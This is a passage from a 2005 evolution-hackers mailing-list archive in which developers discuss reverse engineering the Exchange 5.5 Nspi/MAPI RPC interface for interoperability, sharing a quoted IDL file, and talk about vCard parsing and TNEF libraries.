[case(PT_MV_CLSID)] EMS_SGuidArray MVguid; > [case(PT_MV_UNICODE)] EMS_MULTIVALUE_UNICODE_STRUCT MVszW; > [case(PT_MV_SYSTIME)] EMS_SDateTimeArray MVft; > [case(PT_NULL)] long null; > [case(PT_OBJECT)] long object; > } EMS_SPropValue_CTR; > > typedef struct { > long ulPropTag; > long dwAlignPad; > [switch_is(ulPropTag)] EMS_SPropValue_CTR Value; > } EMS_SPropValue; > > typedef struct { > long ulAdrEntryPad; > long cValues; > [size_is(cValues), unique] EMS_SPropValue *lpProps; > } EMS_SRow; > > typedef [unique] EMS_SRow *EMS_SRow_PTR ; > > typedef struct { > long cRows; > [size_is(cRows)] EMS_SRow aRow[*]; > } EMS_SRowSet; > > typedef [unique] EMS_SRowSet *EMS_SRowSet_PTR ; > > long NspiQueryRows( > [in] emsabp_hnd_t element_69, > [in] long element_70, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_71, > [in] long lRows, > [in, size_is(lRows), unique] long *element_73, > [in] long element_74, > [in, ref] EMS_SPropTagArray *element_75, > [out, ref] EMS_SRowSet_PTR *element_76 > ); > > long NspiSeekEntries( > [in] emsabp_hnd_t element_77, > [in] long element_78, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_79, > [in, ref] EMS_SPropValue *element_80, > [in, unique] EMS_SPropTagArray *element_81, > [in, unique] EMS_SPropTagArray *element_82, > [out, ref] EMS_SRowSet_PTR *element_83 > ); > > typedef [ptr] struct _SRestriction *LPSRestriction; > > typedef struct { > long cRes; > [size_is(cRes)] LPSRestriction lpRes; > } EMS_SAndRestriction; > > typedef struct { > long cRes; > [size_is(cRes)] LPSRestriction lpRes; > } EMS_SOrRestriction; > > typedef struct { > /* ULONG ulReserved - perhaps an [ignore] property on this one? */ > LPSRestriction lpRes; > } EMS_SNotRestriction; > > typedef struct { > long ulFuzzyLevel; > long ulPropTag; > [ptr] EMS_SPropValue *lpProp; > } EMS_SContentRestriction; > > typedef struct { > long relop; > long ulPropTag; > [ptr] EMS_SPropValue *lpProp; > } EMS_SPropertyRestriction; > > typedef struct { > long ulReserved1; > long ulPropTag; > long ulReserved2; > } EMS_SExistRestriction; > > typedef struct { > long relop; > long ulPropTag; > long cb; > } EMS_SSizeRestriction; > > typedef struct { > long relBMR; > long ulPropTag; > long ulMask; > } EMS_SBitMaskRestriction; > > typedef struct { > long relop; > long ulPropTag1; > long ulPropTag2; > } EMS_SComparePropsRestriction; > > typedef struct { > long ulSubObject; > LPSRestriction lpRes; > } EMS_SSubRestriction; > > typedef struct { > [unique] MAPIUID *lpguid; > long ulKind; > long lID; /* this is actually a union in mapidefs.h */ > } EMS_MAPINAMEID; > > /* Restriction types */ > #define RES_AND 0U > #define RES_OR 1U > #define RES_NOT 2U > #define RES_CONTENT 3U > #define RES_PROPERTY 4U > #define RES_COMPAREPROPS 5U > #define RES_BITMASK 6U > #define RES_SIZE 7U > #define RES_EXIST 8U > #define RES_SUBRESTRICTION 9U > #define RES_COMMENT 10U > > > typedef [switch_type(long)] union { > [case(RES_AND) ] EMS_SAndRestriction resAnd; > [case(RES_OR) ] EMS_SOrRestriction resOr; > [case(RES_NOT) ] EMS_SNotRestriction resNot; > [case(RES_CONTENT) ] EMS_SContentRestriction resContent; > [case(RES_PROPERTY) ] EMS_SPropertyRestriction resProperty; > [case(RES_COMPAREPROPS) ] EMS_SComparePropsRestriction resCompareProps; > [case(RES_BITMASK) ] EMS_SBitMaskRestriction resBitMask; > [case(RES_SUBRESTRICTION)] EMS_SSubRestriction resSub; > [case(RES_SIZE) ] EMS_SSizeRestriction resSize; > [case(RES_EXIST) ] EMS_SExistRestriction resExist; > /* case SCommentRestriction is missing! */ > } EMS_SRestriction_CTR; > > typedef struct _SRestriction { > long rt; > [switch_is(rt)] EMS_SRestriction_CTR res; > } EMS_SRestriction; > > long NspiGetMatches( > [in] emsabp_hnd_t element_110, > [in] long element_111, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_112, > [in, unique] EMS_SPropTagArray *element_113, > [in] long element_114, > [in, unique] EMS_SRestriction *element_115, > [in, unique] EMS_MAPINAMEID *element_116, > [in] long element_117, > [out, ref] EMS_SPropTagArray *element_118, > [in, ref] EMS_SPropTagArray *element_119, > [out, ref] EMS_SRowSet_PTR *element_120 > ); > > long NspiResortRestriction( > [in] emsabp_hnd_t element_121, > [in] long element_122, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_123, > [in, ref] EMS_SPropTagArray *element_124, > [in,out, ref] EMS_LPSPropTagArray *element_125 > ); > > typedef struct { > long element_126; > [unique, string] char *element_127; > } EMS_NAME_STRING; > > long NspiDNToEph( > [in] emsabp_hnd_t element_128, > [in] long element_129, > [in, ref] EMS_NAME_STRING *element_130, > [out, ref] EMS_SPropTagArray *element_131 > ); > > long NspiGetPropList( > [in] emsabp_hnd_t element_132, > [in] long element_133, > [in] long element_134, > [in] long element_135, > [out, ref] EMS_LPSPropTagArray *element_136 > ); > > long NspiGetProps( > [in] emsabp_hnd_t element_137, > [in] long element_138, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_139, > [in, unique] EMS_SPropTagArray *element_140, > [out, ref] EMS_SRow_PTR *element_141 > ); > > long NspiCompareDNTs( > [in] emsabp_hnd_t element_142, > [in] long element_143, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_144, > [in] long element_145, > [in] long element_146, > [out, ref] long *element_147 > ); > > long NspiModProps( > [in] emsabp_hnd_t element_148, > [in] long element_149, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_150, > [in, unique] EMS_SPropTagArray *element_151, > [in, ref] EMS_SRow *element_152 > ); > > long NspiGetHierarchyInfo( > [in] emsabp_hnd_t element_153, > [in] long element_154, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_155, > [in,out, ref] long *element_156, > [out, ref] EMS_SRowSet_PTR *element_157 > ); > > long NspiGetTemplateInfo( > [in] emsabp_hnd_t element_158, > [in] long element_159, > [in] long element_160, > [in, unique, string] char *element_161, > [in] long element_162, > [in] long element_163, > [out, ref] EMS_SRow_PTR *element_164 > ); > > long NspiModLInkAtt( > [in] emsabp_hnd_t element_165, > [in] long element_166, > [in] long element_167, > [in] long element_168, > [in, ref] EMS_SBinaryArray *element_169 > ); > > long NspiDeleteEntries( > [in] emsabp_hnd_t element_170, > [in] long element_171, > [in] long element_172, > [in, ref] EMS_SBinaryArray *element_173 > ); > > long NspiQueryColumns( > [in] emsabp_hnd_t element_174, > [in] long element_175, > [in] long element_176, > [out, ref] EMS_LPSPropTagArray *element_177 > ); > > typedef struct { > long element_178; > [unique] MAPIUID *element_179; > } EMS_NAME_CLSID; > > typedef [ptr] EMS_NAME_CLSID *EMS_NAME_CLSID_PTR; > > long NspiGetNamesFromIDs( > [in] emsabp_hnd_t element_180, > [in] long element_181, > [in, unique] MAPIUID *element_182, > [in, unique] EMS_SPropTagArray *element_183, > [out, ref] EMS_LPSPropTagArray *element_184, > [out, ref] EMS_NAME_CLSID_PTR *element_185 > ); > > long NspiGetIDsFromNames( > [in] emsabp_hnd_t element_186, > [in] long element_187, > [in] long element_188, > [in] long element_189, > [in, size_is(element_189), ref] long *element_190, > [out, ref] EMS_LPSPropTagArray *element_191 > ); > > long NspiResolveNames( > [in] emsabp_hnd_t element_192, > [in] long element_193, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_194, > [in, unique] EMS_SPropTagArray *element_195, > [in, ref] EMS_NAME_STRING *element_196, > [out, ref] EMS_LPSPropTagArray *element_197, > [out, ref] EMS_SRowSet_PTR *element_198 > ); > > typedef struct { > long element_199; > [unique, string] WCHAR *element_200; > } EMS_NAME_UNICODE; > > long NspiResolveNamesW( > [in] emsabp_hnd_t element_201, > [in] long element_202, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_203, > [in, unique] EMS_SPropTagArray *element_204, > [in, ref] EMS_NAME_UNICODE *element_205, > [out, ref] EMS_LPSPropTagArray *element_206, > [out, ref] EMS_SRowSet_PTR *element_207 > ); > > } > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers From hpj@ximian.com Tue Feb 1 18:24:27 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4BCAC1240BC; Tue, 1 Feb 2005 18:24:27 -0500 (EST) Received: from bzzzt.fix.no (unity.copyleft.no [212.71.72.23]) by lists.ximian.com (Postfix) with ESMTP id 1259E124015 for ; Tue, 1 Feb 2005 18:24:24 -0500 (EST) Received: from bzzzt.fix.no ([212.71.72.20] helo=localhost) by bzzzt.fix.no with esmtp (Exim 3.33 #1) id 1Cw7NH-000CUO-00; Wed, 02 Feb 2005 00:23:59 +0100 Subject: Re: [Evolution-hackers] vcard 2.1 implementation From: Hans Petter Jansson To: Armin Bauer Cc: Sivaiah Nallagatla , JP Rosevear , evolution-hackers@lists.ximian.com In-Reply-To: <1106992008.3426.7.camel@azrael> References: <1106652534.3382.7.camel@azrael> <1106719832.4039.47.camel@bishop.rosevear.com> <1106734446.3350.16.camel@azrael> <1106813371.29650.6.camel@Gr8-Siva.hathaway> <1106992008.3426.7.camel@azrael> Content-Type: text/plain Date: Tue, 01 Feb 2005 17:24:04 -0600 Message-Id: <1107300245.8259.104.camel@envy.site> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 Content-Transfer-Encoding: 7bit Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Sat, 2005-01-29 at 10:46 +0100, Armin Bauer wrote: > Is there a specific reason e-vcard.c can only parse vcards (besides the > name)? I wanted to use it to parse other stuff as well (like vcal, > vnotes etc), but it only seems to handle vcards even though the BNR of > all is the same: > > contentline = [group "."] name *(";" param ) ":" value CRLF > > Why not implement it as a generic parser that understands the vformat > and implement some more convinient "interfaces" to this parser for the > vcard, vcal and vnote standard that would then handle the specific > stuff? It would be too big a change short-term. But for the long term, a separate library implementing generic v* parsing could be interesting. -- Hans Petter Jansson | Evolution Developer | http://hp.cl.no/ From lkcl@lkcl.net Tue Feb 1 15:08:03 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id CFE331241AC; Tue, 1 Feb 2005 15:08:02 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id E256C1241AC for ; Tue, 1 Feb 2005 15:07:42 -0500 (EST) Received: from lkcl.net (host81-152-13-251.range81-152.btcentralplus.com [81.152.13.251]) by open.hands.com (Postfix) with ESMTP id 4817DBFE1; Tue, 1 Feb 2005 20:07:32 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1Cw4TE-0002bG-Op; Tue, 01 Feb 2005 20:17:56 +0000 Date: Tue, 1 Feb 2005 20:17:56 +0000 From: Luke Kenneth Casson Leighton To: Peter Colijn Cc: evolution-hackers@lists.ximian.com Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Message-ID: <20050201201756.GM5707@lkcl.net> References: <20050201150641.GV5707@lkcl.net> <7c35b00e050201105168b14d75@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <7c35b00e050201105168b14d75@mail.gmail.com> User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net X-Spam-Status: No, hits=-31.2 required=5.0 tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,RCVD_IN_NJABL,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_MUTT autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: thank you peter! there's yTNEF, there's a debian package called tnef, there's KDE tnef, there's this, that, it's kinda fun :) On Tue, Feb 01, 2005 at 10:51:18AM -0800, Peter Colijn wrote: > Hi Luke, > > You might want to check out WvMapi. You can download it at > http://open.nit.ca/wiki/?DownloadSnapshots (get the > evolution-exchangeit tarball, look for the wvampi subdirectory). > > WvMapi currently supports decoding/encoding TNEFs containing the > attMapiProps attribute, from standard iCalendar and vCard files. It's > under LGPL. > > Have fun, > > Peter > > > On Tue, 1 Feb 2005 15:06:41 +0000, Luke Kenneth Casson Leighton > wrote: > > hi, > > > > i've begun the network-reverse-engineering necessary to interoperating > > with Exchange 5.5 and Outlook. > > > > i have a basic test client and a basic server which is able to return > > hard coded data structures. > > > > the key difference between the present attempt and all previous ones is > > that i have started from FreeDCE not from decoding MSRPC on-wire, so i > > have a 99.5% IDL file (2 actually) which define the interfaces. FreeDCE > > turns that into c code, and it's a matter of filling in the blanks. > > > > unfortunately there are a lot of blanks. _fortunately_, the data > > structures of emsabp.idl (the Nspi interface) are IDENTICAL to those > > used in mapidefs.h - see Wine's include/windows/mapidefs.h > > > > anybody interested in helping out please contact me. > > > > in particular, help with tying in MAPI which is actually MS-TNEF which > > is winmail.dat which is therefore directly relevant to evolution, > > much appreciated. > > > > l. > > > > -- > > -- > > http://lkcl.net > > -- > > > > [ uuid(f5cc5a18-4264-101a-8c59-08002b2f8426), > > version(56.0), > > implicit_handle(handle_t rpc_binding) > > ] interface emsabp > > { > > > > /* this is mostly identical to wine/include/mapidefs.h, > > * up until MAPIERROR, at which point it looks completely > > * unfamiliar and alien. > > * > > * the functions in the IMAPITable only look _vaguely_ > > * familiar but are like, utterly different. > > * really odd. same data structures. different functions. > > * oh well. > > */ > > > > #define PR_ENTRYID 0x0fff0102 > > #define PR_OBJECTID 0xfffd0003 > > #define PR_DISPLAY_NAME 0x3001001e > > #define PT_CONTAINER_FLAGS 0x36000003 /* PCF_ISCONTAINER | PCF_HASCHILDCONTAINER */ > > #define PR_DEPTH 0x30050003 > > #define PR_PARENTENTRYID 0xfffc0102 > > > > typedef unsigned short WCHAR; > > > > typedef struct { > > long element_1; > > long element_2; > > long element_3; > > long element_4; > > long element_5; > > long element_6; > > long element_7; > > long element_8; > > long element_9; > > } EMS_MAPI_UNIDENTIFIED; > > > > typedef struct { > > char ab[16]; > > } MAPIUID; > > > > typedef [context_handle] void *emsabp_hnd_t; > > > > long NspiBind( > > [in] handle_t element_11, > > [in] long element_12, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_13, > > [in,out, unique] MAPIUID *element_14, > > [out] emsabp_hnd_t *element_15 > > ); > > > > long NspiUnbind( > > [in,out] emsabp_hnd_t *element_16, > > [in] long element_17 > > ); > > > > long NspiUpdateStat( > > [in] emsabp_hnd_t element_18, > > [in] long element_19, > > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_20, > > [in,out, unique] long *element_21 > > ); > > > > /* typedef [ptr, string] unsigned long *EMS_SPropTagArray;*/ > > > > /* this is probably an SPropTagArray. although it doesn't match > > * up with the definition in wine/includes/mapidefs.h, it also > > * is the data structure i've had the most difficulty with, matching > > * it to on-wire format. > > */ > > typedef struct { > > [unique, length_is(cValues), size_is(cValues)] long *aulPropTag; > > long cValues; > > /*long element_24;*/ > > } EMS_SPropTagArray; > > > > typedef [unique] EMS_SPropTagArray *EMS_LPSPropTagArray ; > > > > typedef struct { > > long cb; > > [size_is(cb), ptr] char *lpb; > > } EMS_SBinary; > > > > typedef struct { > > long dwLowDateTime; > > long dwHighDateTime; > > } EMS_FILETIME; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] short *lpi; > > } EMS_SShortArray; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] long *lpl; > > } EMS_MULTIVALUE_LONG_STRUCT; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] long *lppszA; /* this doesn't look right: should be a LPSTR */ > > } EMS_SLPSTRArray; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] EMS_SBinary *lpbin; > > } EMS_SBinaryArray; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] long *lpguid; /* this doesn't look right: it should be a GUID* */ > > } EMS_SGuidArray; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] long *lpi; /* this doesn't look right: it should be a LPWSTR* */ > > } EMS_MULTIVALUE_UNICODE_STRUCT; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] EMS_FILETIME *lpft; > > } EMS_SDateTimeArray; > > > > typedef [ptr, string] unsigned short *WSTRING; > > typedef [ptr, string] char *STRING; > > > > #define PT_UNSPECIFIED 0x0000 > > #define PT_NULL 0x0001 > > #define PT_I2 0002 > > #define PT_LONG 0003 > > #define PT_R4 0004 > > #define PT_DOUBLE 0x0005 > > #define PT_CURRENCY 0x0006 > > #define PT_APPTIME 0x0007 > > /*#define PT_CLSID 0x0008 */ > > #define PT_ERROR 0x000a > > /* > > means in a response package, that the given attribute contains no value, > > or not exists. > > -> So it won't be contained in the enumeration of the attrib. values array. > > */ > > #define PT_BOOLEAN 0x000b > > #define PT_OBJECT 0x000d > > #define PT_I8 0x0014 > > #define PT_STRING8 0x001e > > #define PT_UNICODE 0x001f > > #define PT_SYSTIME 0x0040 > > #define PT_CLSID 0x0048 > > #define PT_BINARY 0x0102 /*(the corresponding ???HDR entry is 4 bytes longer in this case!) 1??? */ > > > > /* MV means MultiValued*/ > > #define PT_MV_I2 0x1002 > > #define PT_MV_LONG 0x1003 > > #define PT_MV_R4 0x1004 > > #define PT_MV_DOUBLE 0x1005 > > #define PT_MV_CURRENCY 0x1006 > > #define PT_MV_APPTIME 0x1007 > > #define PT_MV_I8 0x1014 > > #define PT_MV_STRING8 0x101e > > #define PT_MV_TSTRING 0x101e > > #define PT_MV_UNICODE 0x101f > > #define PT_MV_SYSTIME 0x1040 > > #define PT_MV_CLSID 0x1048 > > #define PT_MV_BINARY 0x1102 > > > > typedef [switch_type(long)] union { > > [case(PT_I2)] short i; > > [case(PT_LONG)] long l; > > [case(PT_BOOLEAN)] short b; > > [case(PT_STRING8)] STRING lpszA; > > [case(PT_BINARY)] EMS_SBinary bin; > > [case(PT_UNICODE)] WSTRING lpszW; > > [case(PT_CLSID), ptr] MAPIUID *lpguid; > > [case(PT_SYSTIME)] EMS_FILETIME ft; > > [case(PT_ERROR)] long err; > > [case(PT_MV_I2)] EMS_SShortArray MVi; > > [case(PT_MV_LONG)] EMS_MULTIVALUE_LONG_STRUCT MVl; > > [case(PT_MV_STRING8)] EMS_SLPSTRArray MVszA; > > [case(PT_MV_BINARY)] EMS_SBinaryArray MVbin; > > [case(PT_MV_CLSID)] EMS_SGuidArray MVguid; > > [case(PT_MV_UNICODE)] EMS_MULTIVALUE_UNICODE_STRUCT MVszW; > > [case(PT_MV_SYSTIME)] EMS_SDateTimeArray MVft; > > [case(PT_NULL)] long null; > > [case(PT_OBJECT)] long object; > > } EMS_SPropValue_CTR; > > > > typedef struct { > > long ulPropTag; > > long dwAlignPad; > > [switch_is(ulPropTag)] EMS_SPropValue_CTR Value; > > } EMS_SPropValue; > > > > typedef struct { > > long ulAdrEntryPad; > > long cValues; > > [size_is(cValues), unique] EMS_SPropValue *lpProps; > > } EMS_SRow; > > > > typedef [unique] EMS_SRow *EMS_SRow_PTR ; > > > > typedef struct { > > long cRows; > > [size_is(cRows)] EMS_SRow aRow[*]; > > } EMS_SRowSet; > > > > typedef [unique] EMS_SRowSet *EMS_SRowSet_PTR ; > > > > long NspiQueryRows( > > [in] emsabp_hnd_t element_69, > > [in] long element_70, > > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_71, > > [in] long lRows, > > [in, size_is(lRows), unique] long *element_73, > > [in] long element_74, > > [in, ref] EMS_SPropTagArray *element_75, > > [out, ref] EMS_SRowSet_PTR *element_76 > > ); > > > > long NspiSeekEntries( > > [in] emsabp_hnd_t element_77, > > [in] long element_78, > > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_79, > > [in, ref] EMS_SPropValue *element_80, > > [in, unique] EMS_SPropTagArray *element_81, > > [in, unique] EMS_SPropTagArray *element_82, > > [out, ref] EMS_SRowSet_PTR *element_83 > > ); > > > > typedef [ptr] struct _SRestriction *LPSRestriction; > > > > typedef struct { > > long cRes; > > [size_is(cRes)] LPSRestriction lpRes; > > } EMS_SAndRestriction; > > > > typedef struct { > > long cRes; > > [size_is(cRes)] LPSRestriction lpRes; > > } EMS_SOrRestriction; > > > > typedef struct { > > /* ULONG ulReserved - perhaps an [ignore] property on this one? */ > > LPSRestriction lpRes; > > } EMS_SNotRestriction; > > > > typedef struct { > > long ulFuzzyLevel; > > long ulPropTag; > > [ptr] EMS_SPropValue *lpProp; > > } EMS_SContentRestriction; > > > > typedef struct { > > long relop; > > long ulPropTag; > > [ptr] EMS_SPropValue *lpProp; > > } EMS_SPropertyRestriction; > > > > typedef struct { > > long ulReserved1; > > long ulPropTag; > > long ulReserved2; > > } EMS_SExistRestriction; > > > > typedef struct { > > long relop; > > long ulPropTag; > > long cb; > > } EMS_SSizeRestriction; > > > > typedef struct { > > long relBMR; > > long ulPropTag; > > long ulMask; > > } EMS_SBitMaskRestriction; > > > > typedef struct { > > long relop; > > long ulPropTag1; > > long ulPropTag2; > > } EMS_SComparePropsRestriction; > > > > typedef struct { > > long ulSubObject; > > LPSRestriction lpRes; > > } EMS_SSubRestriction; > > > > typedef struct { > > [unique] MAPIUID *lpguid; > > long ulKind; > > long lID; /* this is actually a union in mapidefs.h */ > > } EMS_MAPINAMEID; > > > > /* Restriction types */ > > #define RES_AND 0U > > #define RES_OR 1U > > #define RES_NOT 2U > > #define RES_CONTENT 3U > > #define RES_PROPERTY 4U > > #define RES_COMPAREPROPS 5U > > #define RES_BITMASK 6U > > #define RES_SIZE 7U > > #define RES_EXIST 8U > > #define RES_SUBRESTRICTION 9U > > #define RES_COMMENT 10U > > > > typedef [switch_type(long)] union { > > [case(RES_AND) ] EMS_SAndRestriction resAnd; > > [case(RES_OR) ] EMS_SOrRestriction resOr; > > [case(RES_NOT) ] EMS_SNotRestriction resNot; > > [case(RES_CONTENT) ] EMS_SContentRestriction resContent; > > [case(RES_PROPERTY) ] EMS_SPropertyRestriction resProperty; > > [case(RES_COMPAREPROPS) ] EMS_SComparePropsRestriction resCompareProps; > > [case(RES_BITMASK) ] EMS_SBitMaskRestriction resBitMask; > > [case(RES_SUBRESTRICTION)] EMS_SSubRestriction resSub; > > [case(RES_SIZE) ] EMS_SSizeRestriction resSize; > > [case(RES_EXIST) ] EMS_SExistRestriction resExist; > > /* case SCommentRestriction is missing! */ > > } EMS_SRestriction_CTR; > > > > typedef struct _SRestriction { > > long rt; > > [switch_is(rt)] EMS_SRestriction_CTR res; > > } EMS_SRestriction; > > > > long NspiGetMatches( > > [in] emsabp_hnd_t element_110, > > [in] long element_111, > > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_112, > > [in, unique] EMS_SPropTagArray *element_113, > > [in] long element_114, > > [in, unique] EMS_SRestriction *element_115, > > [in, unique] EMS_MAPINAMEID *element_116, > > [in] long element_117, > > [out, ref] EMS_SPropTagArray *element_118, > > [in, ref] EMS_SPropTagArray *element_119, > > [out, ref] EMS_SRowSet_PTR *element_120 > > ); > > > > long NspiResortRestriction( > > [in] emsabp_hnd_t element_121, > > [in] long element_122, > > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_123, > > [in, ref] EMS_SPropTagArray *element_124, > > [in,out, ref] EMS_LPSPropTagArray *element_125 > > ); > > > > typedef struct { > > long element_126; > > [unique, string] char *element_127; > > } EMS_NAME_STRING; > > > > long NspiDNToEph( > > [in] emsabp_hnd_t element_128, > > [in] long element_129, > > [in, ref] EMS_NAME_STRING *element_130, > > [out, ref] EMS_SPropTagArray *element_131 > > ); > > > > long NspiGetPropList( > > [in] emsabp_hnd_t element_132, > > [in] long element_133, > > [in] long element_134, > > [in] long element_135, > > [out, ref] EMS_LPSPropTagArray *element_136 > > ); > > > > long NspiGetProps( > > [in] emsabp_hnd_t element_137, > > [in] long element_138, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_139, > > [in, unique] EMS_SPropTagArray *element_140, > > [out, ref] EMS_SRow_PTR *element_141 > > ); > > > > long NspiCompareDNTs( > > [in] emsabp_hnd_t element_142, > > [in] long element_143, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_144, > > [in] long element_145, > > [in] long element_146, > > [out, ref] long *element_147 > > ); > > > > long NspiModProps( > > [in] emsabp_hnd_t element_148, > > [in] long element_149, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_150, > > [in, unique] EMS_SPropTagArray *element_151, > > [in, ref] EMS_SRow *element_152 > > ); > > > > long NspiGetHierarchyInfo( > > [in] emsabp_hnd_t element_153, > > [in] long element_154, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_155, > > [in,out, ref] long *element_156, > > [out, ref] EMS_SRowSet_PTR *element_157 > > ); > > > > long NspiGetTemplateInfo( > > [in] emsabp_hnd_t element_158, > > [in] long element_159, > > [in] long element_160, > > [in, unique, string] char *element_161, > > [in] long element_162, > > [in] long element_163, > > [out, ref] EMS_SRow_PTR *element_164 > > ); > > > > long NspiModLInkAtt( > > [in] emsabp_hnd_t element_165, > > [in] long element_166, > > [in] long element_167, > > [in] long element_168, > > [in, ref] EMS_SBinaryArray *element_169 > > ); > > > > long NspiDeleteEntries( > > [in] emsabp_hnd_t element_170, > > [in] long element_171, > > [in] long element_172, > > [in, ref] EMS_SBinaryArray *element_173 > > ); > > > > long NspiQueryColumns( > > [in] emsabp_hnd_t element_174, > > [in] long element_175, > > [in] long element_176, > > [out, ref] EMS_LPSPropTagArray *element_177 > > ); > > > > typedef struct { > > long element_178; > > [unique] MAPIUID *element_179; > > } EMS_NAME_CLSID; > > > > typedef [ptr] EMS_NAME_CLSID *EMS_NAME_CLSID_PTR; > > > > long NspiGetNamesFromIDs( > > [in] emsabp_hnd_t element_180, > > [in] long element_181, > > [in, unique] MAPIUID *element_182, > > [in, unique] EMS_SPropTagArray *element_183, > > [out, ref] EMS_LPSPropTagArray *element_184, > > [out, ref] EMS_NAME_CLSID_PTR *element_185 > > ); > > > > long NspiGetIDsFromNames( > > [in] emsabp_hnd_t element_186, > > [in] long element_187, > > [in] long element_188, > > [in] long element_189, > > [in, size_is(element_189), ref] long *element_190, > > [out, ref] EMS_LPSPropTagArray *element_191 > > ); > > > > long NspiResolveNames( > > [in] emsabp_hnd_t element_192, > > [in] long element_193, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_194, > > [in, unique] EMS_SPropTagArray *element_195, > > [in, ref] EMS_NAME_STRING *element_196, > > [out, ref] EMS_LPSPropTagArray *element_197, > > [out, ref] EMS_SRowSet_PTR *element_198 > > ); > > > > typedef struct { > > long element_199; > > [unique, string] WCHAR *element_200; > > } EMS_NAME_UNICODE; > > > > long NspiResolveNamesW( > > [in] emsabp_hnd_t element_201, > > [in] long element_202, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_203, > > [in, unique] EMS_SPropTagArray *element_204, > > [in, ref] EMS_NAME_UNICODE *element_205, > > [out, ref] EMS_LPSPropTagArray *element_206, > > [out, ref] EMS_SRowSet_PTR *element_207 > > ); > > > > } > > > > _______________________________________________ > > evolution-hackers maillist - evolution-hackers@lists.ximian.com > > http://lists.ximian.com/mailman/listinfo/evolution-hackers > > -- -- http://lkcl.net -- From lkcl@lkcl.net Tue Feb 1 15:05:48 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B1123125553; Tue, 1 Feb 2005 15:05:48 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id 20879125557 for ; Tue, 1 Feb 2005 15:05:33 -0500 (EST) Received: from lkcl.net (host81-152-13-251.range81-152.btcentralplus.com [81.152.13.251]) by open.hands.com (Postfix) with ESMTP id B1ED8BFE1; Tue, 1 Feb 2005 20:05:23 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1Cw4RA-0002am-9A; Tue, 01 Feb 2005 20:15:48 +0000 Date: Tue, 1 Feb 2005 20:15:48 +0000 From: Luke Kenneth Casson Leighton To: Jules Colding Cc: Evolution Hackers Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Message-ID: <20050201201548.GL5707@lkcl.net> References: <20050201150641.GV5707@lkcl.net> <1107284298.6737.6.camel@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1107284298.6737.6.camel@localhost.localdomain> User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net X-Spam-Status: No, hits=-20.8 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,RCVD_IN_NJABL,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_MUTT autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 